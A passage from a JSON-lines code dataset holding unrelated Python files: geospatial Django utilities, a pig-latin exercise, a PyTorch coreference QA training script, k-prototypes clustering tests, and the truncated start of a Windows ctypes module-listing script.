pt=slopes_preT(bound-2) #-2 due to origin and 1s\n preT=pt[0] # LST of LST : list of pre translation slope vectors\n redu=pt[1] # LST of LST : list of redundant sloped vectors\n slopes=pt[2] # LST of FLOAT : list of slopes as FLOAT\n out_lbl_vchk(verbose,[\"slopes\",slopes,\"redundant\",redu,\"vec_slopePreTranslate\",preT])\n\n redu=include_Rotations(redu)\n mat=mat_setReduTo0(mat,redu)\n return mat\n\n### matrix functions <<<\ndef tst():\n bound=4\n s_pt=slopes_preT(bound-2)[0]\n uniq_slopes=include_Rotations(s_pt)\n numb=len(uniq_slopes)\n print(\"all rotation slopes:\",uniq_slopes)\n print(\"number of rotslopes:\",numb)\n out_mat(True,uniq_slopes,2)\n print(\"p_t:\")\n out_mat(True,s_pt,2)\n print(\"pass tst:\",numb==36) #36 for bound of 4\n exit(0)\n\ndef onit():\n if len(sys.argv)>1:\n if sys.argv[1]==\"-h\":\n helper(0)\n elif sys.argv[1]==\"-tst\":\n tst()\n try:\n bound=int(sys.argv[1])\n except:\n helper(1)\n if bound<3:\n helper(2)\n else:\n helper(0)\n\n mat=build_mat(bound)\n out_mat(True,mat,bound)\n\n print(\"\\n\\n..01x17\")\n\nif __name__==\"__main__\":\n onit()\n\n#./magn.py #returns vectors with unique slopes based on distance from origin\n","sub_path":"scripts/magn.py","file_name":"magn.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"513791029","text":"from dataclasses import dataclass, field\nfrom enum import Enum\nfrom typing import Type, Union, Optional, List, TYPE_CHECKING\n\nimport psycopg2.extras\nfrom django.conf import settings\nfrom django.contrib.gis.db.models import Union as GeoUnion\nfrom django.contrib.gis.geos import Polygon\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import connection\nfrom django.db.models import QuerySet\nfrom rest_framework.request import Request\n\nfrom geo.models import Tract, County, BlockGroup, CountySubdivision, AdminRegion, SchoolDistrict, Neighborhood, \\\n ZipCodeTabulationArea\n\nif TYPE_CHECKING:\n from indicators.models import Variable, Variable, DataViz\n\n# Constants\n# =-=-=-=-=\nCKAN_API_BASE_URL = 'https://data.wprdc.org/api/3/'\nDATASTORE_SEARCH_SQL_ENDPOINT = 'action/datastore_search_sql'\n\nGEOG_TYPE_LABEL = 'geogType'\nGEOG_ID_LABEL = 'geogID'\n\nVARIABLE_ID_LABEL = 'var'\nDATA_VIZ_ID_LABEL = 'viz'\n\nGEOG_MODEL_MAPPING = {\n 'tract': Tract,\n 'county': County,\n 'blockGroup': BlockGroup,\n 'countySubdivision': CountySubdivision,\n 'schoolDistrict': SchoolDistrict,\n 'neighborhood': Neighborhood,\n 'zcta': ZipCodeTabulationArea\n}\n\n\n# Types/Enums/Etc\n# =-=-=-=-=-=-=-=\nclass ErrorLevel(Enum):\n OK = 0\n EMPTY = 1\n WARNING = 10\n ERROR = 100\n\n\n@dataclass\nclass ErrorResponse:\n level: ErrorLevel\n message: Optional[str] = None\n\n def as_dict(self):\n return {\n 'status': self.level.name,\n 'level': self.level.value,\n 'message': self.message,\n }\n\n\n@dataclass\nclass DataResponse:\n data: Optional[Union[List[dict], dict]]\n options: dict = field(default_factory={})\n error: ErrorResponse = ErrorResponse(ErrorLevel.OK)\n\n def as_dict(self):\n return {\n 'data': self.data,\n 'options': self.options,\n 'error': self.error.as_dict()\n }\n\n\n# Functions\n# =-=-=-=-=\ndef limit_to_geo_extent(geog_type: Type['AdminRegion']) -> QuerySet['AdminRegion']:\n \"\"\" Returns a queryset representing the geogs for `geog_type` that fit within project extent. \"\"\"\n return geog_type.objects.filter(in_extent=True)\n\n\n# noinspection SqlResolve\ndef save_extent():\n extent = County.objects \\\n .filter(common_geoid__in=settings.AVAILABLE_COUNTIES_IDS) \\\n .aggregate(the_geom=GeoUnion('geom'))\n extent_wkt = extent['the_geom'].wkt\n\n cursor: 'psycopg2._psycopg.cursor'\n with connection.cursor() as cursor:\n cursor.execute(\"\"\"DROP TABLE IF EXISTS \"#extent\";\"\"\")\n cursor.execute(\"\"\"CREATE TABLE \"#extent\" (id varchar(63));\"\"\")\n cursor.execute(\"\"\"SELECT AddGeometryColumn('#extent', 'geom', 4326, 'MultiPolygon', 2);\"\"\")\n cursor.execute(\"\"\"INSERT INTO \"#extent\" \n VALUES ('default', ST_MPolyFromText(%s, 4326));\"\"\", (extent_wkt,))\n cursor.execute(\"\"\"CREATE INDEX \"#extent_index\" ON \"#extent\" USING gist (geom);\"\"\")\n\n\ndef in_geo_extent(geog: 'AdminRegion') -> bool:\n return County.objects \\\n .filter(common_geoid__in=settings.AVAILABLE_COUNTIES_IDS) \\\n .aggregate(the_geom=GeoUnion('geom')).values('the_geom').contains(geog)\n\n\ndef get_geog_model(geog_type: str) -> Type[AdminRegion]:\n if geog_type in GEOG_MODEL_MAPPING:\n return GEOG_MODEL_MAPPING[geog_type]\n raise KeyError\n\n\ndef is_valid_geography_type(geog_type: str):\n return geog_type in GEOG_MODEL_MAPPING\n\n\ndef is_geog_data_request(request: Request) -> bool:\n \"\"\" Determines if a request should be responded to with calculated indicator data\"\"\"\n # for data visualization requests, data can be provided when a geog is defined\n # todo, handle other types.\n return GEOG_TYPE_LABEL in request.query_params and GEOG_ID_LABEL in request.query_params\n\n\ndef extract_geo_params(request: Request) -> (str, str):\n return request.query_params[GEOG_TYPE_LABEL], request.query_params[GEOG_ID_LABEL]\n\n\ndef get_geog_from_request(request: Request) -> AdminRegion:\n geog, geoid = extract_geo_params(request)\n geog_model = get_geog_model(geog)\n geog = geog_model.objects.get(geoid=geoid)\n return geog\n\n\ndef get_geog_model_from_request(request: Request) -> Type[Union[Tract, County, BlockGroup, CountySubdivision]]:\n geog = extract_geo_params(request)[0]\n geog_model = get_geog_model(geog)\n return geog_model\n\n\ndef get_data_viz_from_request(request: Request) -> Optional['Variable']:\n viz_id = request.query_params.get(DATA_VIZ_ID_LABEL, None)\n try:\n var = DataViz.objects.get(id=int(viz_id))\n return var\n except ObjectDoesNotExist:\n return None\n\n\ndef get_variable_from_request(request: Request) -> Optional['Variable']:\n var_id = request.query_params.get(VARIABLE_ID_LABEL, None)\n try:\n var = Variable.objects.get(id=int(var_id))\n return var\n except ObjectDoesNotExist:\n return None\n\n\ndef tile_bbox(z, x, y, srid=3857):\n \"\"\"\n Returns GEOS Polygon object representing the bbox\n https://github.com/mapbox/postgis-vt-util/blob/master/src/TileBBox.sql\n \"\"\"\n max_v = 20037508.34\n res = (max_v * 2) / (2 ** z)\n bbox = Polygon.from_bbox((\n -max_v + (x * res),\n max_v - (y * res),\n -max_v + (x * res) + res,\n max_v - (y * res) - res,\n ))\n bbox.srid = 3857\n if srid != 3857:\n bbox.transform(srid)\n return bbox\n","sub_path":"indicators/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"93045697","text":"new_word = \"\"\nvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\ndef pig_latin(word):\n for letter in word:\n if letter[0] not in vowels:\n for x in range(1, len(letter)):\n if letter[x] in vowels:\n new_word = letter[x:len(letter)] + letter[0:x] + \"ay\"\n break\n else:\n new_word = letter + \"way\"\n \n print(new_word, end = \" \")\n\nword = str(input(\"Input word: \")).split(\" \")\npig_latin(word)","sub_path":"Pig_Latin.py","file_name":"Pig_Latin.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"77248421","text":"import sys\nimport os\nimport json\nimport numpy as np\nimport model_coref as model\nimport torch\nimport torch.nn as nn\n\n\n# config path\nconfig_path = \"config.json\"\n\n# use GloVe pre-trained embedding\nword_embedding_path = \"GloVe/word2vec_glove.txt\"\n\n# vocab file for tokens in a specific dataset\nvocab_path = \"data/wikihop/vocab.txt\"\n\n# vocab file for chars in a specific dataset\nvocab_char_path = \"data/wikihop/vocab.txt.chars\"\n\n# train and dev set\ntrain_path = \"data/wikihop/training.json\"\nvalid_path = \"data/wikihop/validation.json\"\n\n# model save path\ntorch_model_p = \"model/coref.pkl\"\n\n# log files\nlog_path = \"logs/\"\niter_10_p = log_path + 'iter_10_acc.txt'\niter_50_p = log_path + 'iter_50_acc.txt'\ndev_10_p = log_path + 'dev_10_acc.txt'\ndev_whole_p = log_path + 'dev_whole_acc.txt'\n\n# check CPU or GPU\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\nprint(\"using \" + str(device))\n\n\ndef load_config(config_p):\n with open(config_p, 'r') as config_file:\n config = json.load(config_file)\n\n if config['stopping_criterion'] == 'True':\n config['stopping_criterion'] = True\n else:\n config['stopping_criterion'] = False\n \n if len(sys.argv) > 3:\n if str(sys.argv[3]) == 'log':\n try:\n os.remove(iter_10_p)\n except:\n print('no log file')\n try:\n os.remove(iter_50_p)\n except:\n print('no log file')\n try:\n os.remove(dev_10_p)\n except:\n print('no log file')\n try:\n os.remove(dev_whole_p)\n except:\n print('no log file')\n\n return config\n\n\ndef build_dict(vocab_p, vocab_char_p):\n vocab_data = open(vocab_p, 'r', encoding=\"utf-8\").readlines()\n vocab_c_data = open(vocab_char_p, 'r', encoding=\"utf-8\").readlines()\n\n vocab_dict = {} # key: token, val: cnt\n vocab_c_dict = {} # key: char, val: cnt\n\n for one_line in vocab_data:\n tmp_list = one_line.rstrip('\\n').split('\\t')\n vocab_dict[tmp_list[0]] = int(tmp_list[1])\n\n for one_line in vocab_c_data:\n tmp_list = one_line.rstrip('\\n').split('\\t')\n vocab_c_dict[tmp_list[0]] = int(tmp_list[1])\n\n vocab_ordered_list = sorted(vocab_dict.items(), key=lambda item:item[1], reverse=True)\n vocal_c_ordered_list = sorted(vocab_c_dict.items(), key=lambda item:item[1], reverse=True)\n\n vocab_index_dict = {} # key: token, val: index\n vocab_c_index_dict = {} # key: char, val: index\n\n for index, one_tuple in enumerate(vocab_ordered_list):\n vocab_index_dict[one_tuple[0]] = index\n \n for index, one_tuple in enumerate(vocal_c_ordered_list):\n vocab_c_index_dict[one_tuple[0]] = index\n\n return vocab_index_dict, vocab_c_index_dict\n\n\ndef load_word2vec_embedding(w2v_p, vocab_dict):\n w2v_data = open(w2v_p, 'r', encoding=\"utf-8\").readlines()\n\n info = w2v_data[0].split()\n embed_dim = int(info[1])\n\n vocab_embed = {} # key: token, value: embedding\n\n for line_index in range(1, len(w2v_data)):\n line = w2v_data[line_index].split()\n embed_part = [float(ele) for ele in line[1:]]\n vocab_embed[line[0]] = np.array(embed_part, dtype='float32')\n\n vocab_size = len(vocab_dict)\n W = np.random.randn(vocab_size, embed_dim).astype('float32')\n exist_cnt = 0\n\n for token in vocab_dict:\n if token in vocab_embed:\n token_index = vocab_dict[token]\n W[token_index,:] = vocab_embed[token]\n exist_cnt += 1\n\n print(\"%d/%d vocabs are initialized with word2vec embeddings.\" % (exist_cnt, vocab_size))\n return W, embed_dim\n\n\ndef get_doc_index_list(doc, token_dict, unk_dict):\n ret = []\n for token in doc:\n if token in token_dict:\n ret.append(token_dict[token])\n else:\n ret.append(unk_dict[token])\n return ret\n\n\ndef get_char_index_list(doc, char_dict, max_word_len):\n ret = []\n for token in doc:\n one_res = []\n for index in range(len(token)):\n one_char = token[index]\n if one_char in char_dict:\n one_res.append(char_dict[one_char])\n else:\n one_res.append(char_dict[\"__unkchar__\"])\n ret.append(one_res[:max_word_len])\n return ret\n\n\ndef generate_examples(input_p, vocab_dict, vocab_c_dict, config, data_type):\n max_chains = config['max_chains']\n max_doc_len = config['max_doc_len']\n num_unks = config[\"num_unknown_types\"]\n max_word_len = config[\"max_word_len\"]\n\n ret = []\n print(\"begin loading \" + data_type + \" data\")\n\n with open(input_p, 'r', encoding=\"utf-8\") as infile:\n for index, one_line in enumerate(infile):\n data = json.loads(one_line.rstrip('\\n'))\n\n doc_raw = data[\"document\"].split()[:max_doc_len]\n qry_raw = data[\"query\"].split()\n\n doc_lower = [t.lower() for t in doc_raw]\n qry_lower = [t.lower() for t in qry_raw]\n ans_lower = [t.lower() for t in data[\"answer\"].split()]\n can_lower = [[t.lower() for t in cand] for cand in data[\"candidates\"]]\n\n #------------------------------------------------------------------------\n # build oov dict for each example\n all_token = doc_lower + qry_lower + ans_lower\n for one_cand in can_lower:\n all_token += one_cand\n\n oov_set = set()\n for token in all_token:\n if token not in vocab_dict:\n oov_set.add(token)\n\n unk_dict = {} # key: token, val: index\n for ii, token in enumerate(oov_set):\n unk_dict[token] = vocab_dict[\"__unkword%d__\" % (ii % num_unks)]\n \n #------------------------------------------------------------------------\n # tokenize\n doc_words = get_doc_index_list(doc_lower, vocab_dict, unk_dict)\n qry_words = get_doc_index_list(qry_lower, vocab_dict, unk_dict)\n ans_words = get_doc_index_list(ans_lower, vocab_dict, unk_dict)\n can_words = []\n for can in can_lower:\n can_words.append(get_doc_index_list(can, vocab_dict, unk_dict))\n\n doc_chars = get_char_index_list(doc_raw, vocab_c_dict, max_word_len)\n qry_chars = get_char_index_list(qry_raw, vocab_c_dict, max_word_len)\n\n #------------------------------------------------------------------------\n # other information\n annotations = data[\"annotations\"]\n sample_id = data[\"id\"]\n mentions = data[\"mentions\"]\n corefs = data[\"coref_onehot\"][:max_chains-1]\n\n one_sample = [doc_words, qry_words, ans_words, can_words, doc_chars, qry_chars]\n one_sample += [corefs, mentions, annotations, sample_id]\n\n ret.append(one_sample)\n \n if data_type == \"train\" and len(sys.argv) > 2:\n n_train = int(sys.argv[1])\n if index > n_train: break # for train\n \n if data_type == \"dev\" and len(sys.argv) > 2:\n n_dev = int(sys.argv[2])\n if index > n_dev: break # for dev\n \n if index % 2000 == 0: print(\"loading progress: \" + str(index))\n return ret\n\n\ndef get_graph(edges):\n dei, deo = edges\n dri, dro = np.copy(dei).astype(\"int32\"), np.copy(deo).astype(\"int32\")\n dri[:, :, 0] = 0\n dro[:, :, 0] = 0\n return dei, deo, dri, dro\n\n\ndef generate_batch_data(data, config, data_type, batch_i):\n max_word_len = config['max_word_len']\n max_chains = config['max_chains']\n batch_size = config['batch_size']\n \n n_data = len(data)\n max_doc_len, max_qry_len, max_cands = 0, 0, 0\n \n if batch_i == -1:\n batch_index = np.random.choice(n_data, batch_size, replace=True)\n else:\n batch_index = []\n start_i = batch_i * batch_size\n end_i = (batch_i + 1) * batch_size\n for tmp_i in range(start_i, end_i):\n batch_index.append(tmp_i)\n\n for index in batch_index:\n doc_w, qry_w, ans, cand, doc_c, qry_c, corefs, mentions, annotations, fname = data[index]\n max_doc_len = max(max_doc_len, len(doc_w))\n max_qry_len = max(max_qry_len, len(qry_w))\n max_cands = max(max_cands, len(cand))\n\n #------------------------------------------------------------------------\n dw = np.zeros((batch_size, max_doc_len), dtype='int32') # document words\n m_dw = np.zeros((batch_size, max_doc_len), dtype='float32') # document word mask\n qw = np.zeros((batch_size, max_qry_len), dtype='int32') # query words\n m_qw = np.zeros((batch_size, max_qry_len), dtype='float32') # query word mask\n\n dc = np.zeros((batch_size, max_doc_len, max_word_len), dtype=\"int32\")\n m_dc = np.zeros((batch_size, max_doc_len, max_word_len), dtype=\"float32\")\n qc = np.zeros((batch_size, max_qry_len, max_word_len), dtype=\"int32\")\n m_qc = np.zeros((batch_size, max_qry_len, max_word_len), dtype=\"float32\")\n\n cd = np.zeros((batch_size, max_doc_len, max_cands), dtype='int32') # candidate answers\n m_cd = np.zeros((batch_size, max_doc_len), dtype='float32') # candidate mask\n\n edges_in = np.zeros((batch_size, max_doc_len, max_chains), dtype=\"float32\")\n edges_out = np.zeros((batch_size, max_doc_len, max_chains), dtype=\"float32\")\n edges_in[:, :, 0] = 1.\n edges_out[:, :, 0] = 1.\n\n a = np.zeros((batch_size, ), dtype='int32') # correct answer\n # fnames = ['']*batch_size\n # annots = []\n\n #------------------------------------------------------------------------\n for n in range(batch_size):\n doc_w, qry_w, ans, cand, doc_c, qry_c, corefs, mentions, annotations, fname = data[batch_index[n]]\n\n # document and query\n dw[n, :len(doc_w)] = doc_w\n qw[n, :len(qry_w)] = qry_w\n m_dw[n, :len(doc_w)] = 1\n m_qw[n, :len(qry_w)] = 1\n for t in range(len(doc_c)):\n dc[n, t, :len(doc_c[t])] = doc_c[t]\n m_dc[n, t, :len(doc_c[t])] = 1\n for t in range(len(qry_c)):\n qc[n, t, :len(qry_c[t])] = qry_c[t]\n m_qc[n, t, :len(qry_c[t])] = 1\n\n # search candidates in doc\n for it, cc in enumerate(cand):\n index = [ii for ii in range(len(doc_w)) if doc_w[ii] in cc]\n m_cd[n, index] = 1\n cd[n, index, it] = 1\n if ans == cc: \n found_answer = True\n a[n] = it # answer\n\n # graph edges\n for ic, chain in enumerate(corefs):\n for item in chain:\n if item[2] != -1:\n if mentions[item[2]][0] < max_doc_len:\n edges_in[n, mentions[item[2]][0], ic+1] = 1.\n if item[0] != -1:\n if mentions[item[0]][1]-1 < max_doc_len:\n edges_out[n, mentions[item[0]][1]-1, ic+1] = 1.\n\n # annots.append(annotations)\n # fnames[n] = fname\n\n dei, deo, dri, dro = get_graph((edges_in, edges_out))\n ret = [dw, m_dw, qw, m_qw, dc, m_dc, qc, m_qc, cd, m_cd, a, dei, deo, dri, dro]\n return ret\n\n\ndef cal_acc(cand_probs, answer, batch_size):\n cand_a = torch.argmax(cand_probs, dim=1)\n acc_cnt = 0\n for acc_i in range(batch_size):\n if cand_a[acc_i] == answer[acc_i]: acc_cnt += 1\n return acc_cnt / batch_size\n\n\n# def extract_data(batch_data):\n# dw = torch.from_numpy(batch_data[0]).type(torch.LongTensor).to(device)\n# dc = torch.from_numpy(batch_data[4]).type(torch.LongTensor).to(device)\n# qw = torch.from_numpy(batch_data[2]).type(torch.LongTensor).to(device)\n# qc = torch.from_numpy(batch_data[6]).type(torch.LongTensor).to(device)\n# cd = torch.from_numpy(batch_data[8]).type(torch.DoubleTensor)\n# cd_m = torch.from_numpy(batch_data[9]).type(torch.DoubleTensor)\n \n# m_dw = torch.from_numpy(batch_data[1]).type(torch.LongTensor).to(device)\n# dei = torch.from_numpy(batch_data[11]).type(torch.LongTensor).to(device)\n# deo = torch.from_numpy(batch_data[12]).type(torch.LongTensor).to(device)\n# dri = torch.from_numpy(batch_data[13]).type(torch.LongTensor).to(device)\n# dro = torch.from_numpy(batch_data[14]).type(torch.LongTensor).to(device)\n \n# return dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro\n\n\ndef evaluate_result(iter_index, max_iter, config, dev_data, batch_acc_list, batch_loss_list, dev_acc_list, coref_model):\n if iter_index % config['logging_frequency'] == 0:\n n = len(batch_acc_list)\n if n > 15:\n acc_aver = 0\n loss_aver = 0\n for i in range(n-10, n):\n acc_aver += batch_acc_list[i] / 10\n loss_aver += batch_loss_list[i] / 10\n\n print(\"iter (10) -- acc: \" + str(round(acc_aver, 4)) + \", loss: \" + str(round(loss_aver.data.item(), 4)))\n if len(sys.argv) > 3:\n if str(sys.argv[3]) == 'log':\n with open(iter_10_p, 'a') as of1:\n of1.writelines(str(acc_aver) + ',' + str(loss_aver) + '\\n')\n\n if n > 55:\n acc_aver = 0\n loss_aver = 0\n for i in range(n-50, n):\n acc_aver += batch_acc_list[i] / 50\n loss_aver += batch_loss_list[i] / 50\n print(\"iter (50) -- acc: \" + str(round(acc_aver, 4)) + \", loss: \" + str(round(loss_aver.data.item(), 4)))\n if len(sys.argv) > 3:\n if str(sys.argv[3]) == 'log':\n with open(iter_50_p, 'a') as of2:\n of2.writelines(str(acc_aver) + ',' + str(loss_aver) + '\\n')\n\n if iter_index % config['validation_frequency'] == 0 and iter_index > 0:\n dev_data_batch = generate_batch_data(dev_data, config, \"dev\", -1) # -1 means random sampling\n\n # dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro = extract_data(dev_data_batch)\n # cand_probs_dev = coref_model(dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro)\n cand_probs_dev = coref_model(dev_data_batch)\n\n answer_dev = torch.tensor(dev_data_batch[10]).type(torch.LongTensor)\n acc_dev = cal_acc(cand_probs_dev, answer_dev, config['batch_size'])\n dev_acc_list.append(acc_dev)\n\n aver_dev_acc = 0\n if len(dev_acc_list) > 15:\n tmp_list = dev_acc_list[len(dev_acc_list)-10: len(dev_acc_list)]\n aver_dev_acc = sum(tmp_list) / 10\n\n print(\"-- dev acc: \" + str(round(acc_dev, 4)) + ', aver dev acc: ' + str(round(aver_dev_acc, 4)))\n if len(sys.argv) > 3:\n if str(sys.argv[3]) == 'log':\n with open(dev_10_p, 'a') as of3:\n of3.writelines(str(acc_dev) + ',' + str(aver_dev_acc) + '\\n')\n \n if (iter_index % config['validation_frequency_whole_dev'] == 0 and iter_index > 0) or (iter_index == max_iter):\n n_batch_data = int(len(dev_data) / config['batch_size']) - 1\n acc_dev_list = []\n \n for batch_i in range(n_batch_data):\n dev_data_batch = generate_batch_data(dev_data, config, \"dev\", batch_i)\n\n # dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro = extract_data(dev_data_batch)\n # cand_probs_dev = coref_model(dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro)\n cand_probs_dev = coref_model(dev_data_batch)\n\n answer_dev = torch.tensor(dev_data_batch[10]).type(torch.LongTensor)\n acc_dev = cal_acc(cand_probs_dev, answer_dev, config['batch_size'])\n acc_dev_list.append(acc_dev)\n \n acc_dev_whole = sum(acc_dev_list) / n_batch_data\n print(\"---- dev acc whole: \" + str(round(acc_dev_whole, 4)))\n print(\"dev acc whole: \" + str(acc_dev_whole))\n\n if len(sys.argv) > 3:\n if str(sys.argv[3]) == 'log':\n with open(dev_whole_p, 'a') as of4:\n of4.writelines(str(acc_dev_whole) + '\\n')\n \n return dev_acc_list\n\n\ndef main():\n # load config file\n config = load_config(config_path)\n\n # build dict for token (vocab_dict) and char (vocab_c_dict)\n vocab_dict, vocab_c_dict = build_dict(vocab_path, vocab_char_path)\n\n # load pre-trained embedding\n # W_init: token index * token embeding\n # embed_dim: embedding dimension\n W_init, embed_dim = load_word2vec_embedding(word_embedding_path, vocab_dict)\n \n K = 3\n\n # generate train/valid examples\n train_data = generate_examples(train_path, vocab_dict, vocab_c_dict, config, \"train\")\n dev_data = generate_examples(valid_path, vocab_dict, vocab_c_dict, config, \"dev\")\n\n #------------------------------------------------------------------------\n # training process begins\n hidden_size = config['nhidden']\n batch_size = config['batch_size']\n\n coref_model = model.CorefQA(hidden_size, batch_size, K, W_init, config).to(device)\n\n if len(sys.argv) > 4 and str(sys.argv[4]) == \"load\":\n try:\n coref_model.load_state_dict(torch.load(torch_model_p))\n print(\"saved model loaded\")\n except:\n print(\"no saved model\")\n\n criterion = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(coref_model.parameters(), lr=config['learning_rate']) # TODO: use hyper-params in paper\n\n iter_index = 0\n batch_acc_list = []\n batch_loss_list = []\n dev_acc_list = []\n\n max_iter = int(config['num_epochs'] * len(train_data) / batch_size)\n print(\"max iteration number: \" + str(max_iter))\n\n while True:\n # building batch data\n # batch_xxx_data is a list of batch data (len 15)\n # [dw, m_dw, qw, m_qw, dc, m_dc, qc, m_qc, cd, m_cd, a, dei, deo, dri, dro]\n batch_train_data = generate_batch_data(train_data, config, \"train\", -1) # -1 means random sampling\n # dw, m_dw, qw, m_qw, dc, m_dc, qc, m_qc, cd, m_cd, a, dei, deo, dri, dro = batch_train_data\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward pass\n # dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro = extract_data(batch_train_data)\n # cand_probs = coref_model(dw, dc, qw, qc, cd, cd_m, m_dw, dei, deo, dri, dro) # B x Cmax\n cand_probs = coref_model(batch_train_data)\n\n answer = torch.tensor(batch_train_data[10]).type(torch.LongTensor).to(device) # B x 1\n loss = criterion(cand_probs, answer)\n\n # evaluation process\n acc_batch = cal_acc(cand_probs, answer, batch_size)\n batch_acc_list.append(acc_batch)\n batch_loss_list.append(loss)\n print(\"batch acc: \" + str(round(acc_batch, 4)))\n dev_acc_list = evaluate_result(iter_index, max_iter, config, dev_data, batch_acc_list, batch_loss_list, dev_acc_list, coref_model)\n\n # save model\n if iter_index % config['model_save_frequency'] == 0 and len(sys.argv) > 4:\n torch.save(coref_model.state_dict(), torch_model_p)\n\n # back-prop\n loss.backward()\n optimizer.step()\n\n # check stopping criteria\n del batch_train_data\n iter_index += 1\n if iter_index > max_iter: break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"train_coref.py","file_name":"train_coref.py","file_ext":"py","file_size_in_byte":19119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"425951853","text":"\"\"\"\nTests for k-prototypes clustering algorithm\n\"\"\"\n\nimport pickle\nimport unittest\n\nimport numpy as np\nfrom sklearn.utils.testing import assert_equal\n\nfrom kmodes import kprototypes\n\nSTOCKS = np.array([\n [738.5, 'tech', 'USA'],\n [369.5, 'nrg', 'USA'],\n [368.2, 'tech', 'USA'],\n [346.7, 'tech', 'USA'],\n [343.5, 'fin', 'USA'],\n [282.4, 'fin', 'USA'],\n [282.1, 'tel', 'CN'],\n [279.7, 'cons', 'USA'],\n [257.2, 'cons', 'USA'],\n [205.2, 'tel', 'USA'],\n [192.1, 'tech', 'USA'],\n [195.7, 'nrg', 'NL']\n])\n\n\nclass TestKProtoTypes(unittest.TestCase):\n\n def test_pickle(self):\n obj = kprototypes.KPrototypes()\n s = pickle.dumps(obj)\n assert_equal(type(pickle.loads(s)), obj.__class__)\n\n def test_kprotoypes_categoricals_stocks(self):\n # Number/index of categoricals does not make sense\n kproto = kprototypes.KPrototypes(n_clusters=4, init='Cao', verbose=2)\n with self.assertRaises(AssertionError):\n kproto.fit_predict(STOCKS, categorical=[1, 3])\n with self.assertRaises(AssertionError):\n kproto.fit_predict(STOCKS, categorical=[0, 1, 2])\n result = kproto.fit(STOCKS[:, :2], categorical=1)\n self.assertIsInstance(result, kprototypes.KPrototypes)\n\n def test_kprotoypes_huang_stocks(self):\n np.random.seed(42)\n kproto_huang = kprototypes.KPrototypes(n_clusters=4, n_init=1, init='Huang', verbose=2)\n # Untrained model\n with self.assertRaises(AssertionError):\n kproto_huang.predict(STOCKS, categorical=[1, 2])\n result = kproto_huang.fit_predict(STOCKS, categorical=[1, 2])\n expected = np.array([0, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1])\n np.testing.assert_array_equal(result, expected)\n self.assertTrue(result.dtype == np.dtype(np.uint8))\n # Test predict\n result = kproto_huang.predict(STOCKS, categorical=[1, 2])\n expected = np.array([0, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1])\n np.testing.assert_array_equal(result, expected)\n self.assertTrue(result.dtype == np.dtype(np.uint8))\n\n def test_kprotoypes_cao_stocks(self):\n np.random.seed(42)\n kproto_cao = kprototypes.KPrototypes(n_clusters=4, init='Cao', verbose=2)\n result = kproto_cao.fit_predict(STOCKS, categorical=[1, 2])\n expected = np.array([2, 3, 3, 3, 3, 0, 0, 0, 0, 1, 1, 1])\n np.testing.assert_array_equal(result, expected)\n self.assertTrue(result.dtype == np.dtype(np.uint8))\n\n def test_kprotoypes_random_stocks(self):\n kproto_random = kprototypes.KPrototypes(n_clusters=4, init='random', verbose=2)\n result = kproto_random.fit(STOCKS, categorical=[1, 2])\n self.assertIsInstance(result, kprototypes.KPrototypes)\n\n def test_kprotoypes_init_stocks(self):\n # Wrong order\n init_vals = [\n np.array([[6, 2],\n [5, 2],\n [4, 2],\n [3, 2]]),\n np.array([[382.27919457],\n [350.76963718],\n [13.31595618],\n [540.50533708]])\n ]\n kproto_init = kprototypes.KPrototypes(n_clusters=4, init=init_vals, verbose=2)\n with self.assertRaises(AssertionError):\n kproto_init.fit_predict(STOCKS, categorical=[1, 2])\n\n init_vals = [\n np.array([[0.],\n [0.],\n [0.],\n [0.]]),\n np.array([[6, 2],\n [5, 2],\n [4, 2],\n [3, 2]])\n ]\n np.random.seed(42)\n kproto_init = kprototypes.KPrototypes(n_clusters=4, init=init_vals, verbose=2)\n result = kproto_init.fit_predict(STOCKS, categorical=[1, 2])\n expected = np.array([0, 2, 2, 2, 2, 3, 3, 3, 3, 1, 1, 1])\n np.testing.assert_array_equal(result, expected)\n self.assertTrue(result.dtype == np.dtype(np.uint8))\n\n def test_kprototypes_unknowninit_soybean(self):\n kproto = kprototypes.KPrototypes(n_clusters=4, init='nonsense', verbose=2)\n with self.assertRaises(NotImplementedError):\n kproto.fit(STOCKS, categorical=[1, 2])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"kmodes/tests/test_kprototypes.py","file_name":"test_kprototypes.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"490740415","text":"#!/usr/bin/python3\nfrom sys import platform\n\nif platform == 'cygwin':\n from ctypes import cdll as windll\nelse:\n from ctypes import windll\n\nfrom ctypes import (\n POINTER, Structure, byref, cast, create_string_buffer,\n c_char, c_ulong, c_ushort, c_void_p, c_wchar_p\n)\nfrom sys import exit\n\nclass RTL_PROCESS_MODULE_INFORMATION(Structure):\n _fields_ = [\n ('Section', c_void_p),\n ('MappedBase', c_void_p),\n ('ImageBase', c_void_p),\n ('ImageSize', c_ulong),\n ('Flags', c_ulong),\n ('LoadOrderIndex', c_ushort),\n ('InitOrderIndex', c_ushort),\n ('LoadCount', c_ushort),\n ('OffsetToFileName', c_ushort),\n ('FullPathName', c_char * 256),\n ]\n @property\n def ImagePath(self):\n return str(self.FullPathName.split(b'\\\\')[-1], 'utf-8')\n\nclass 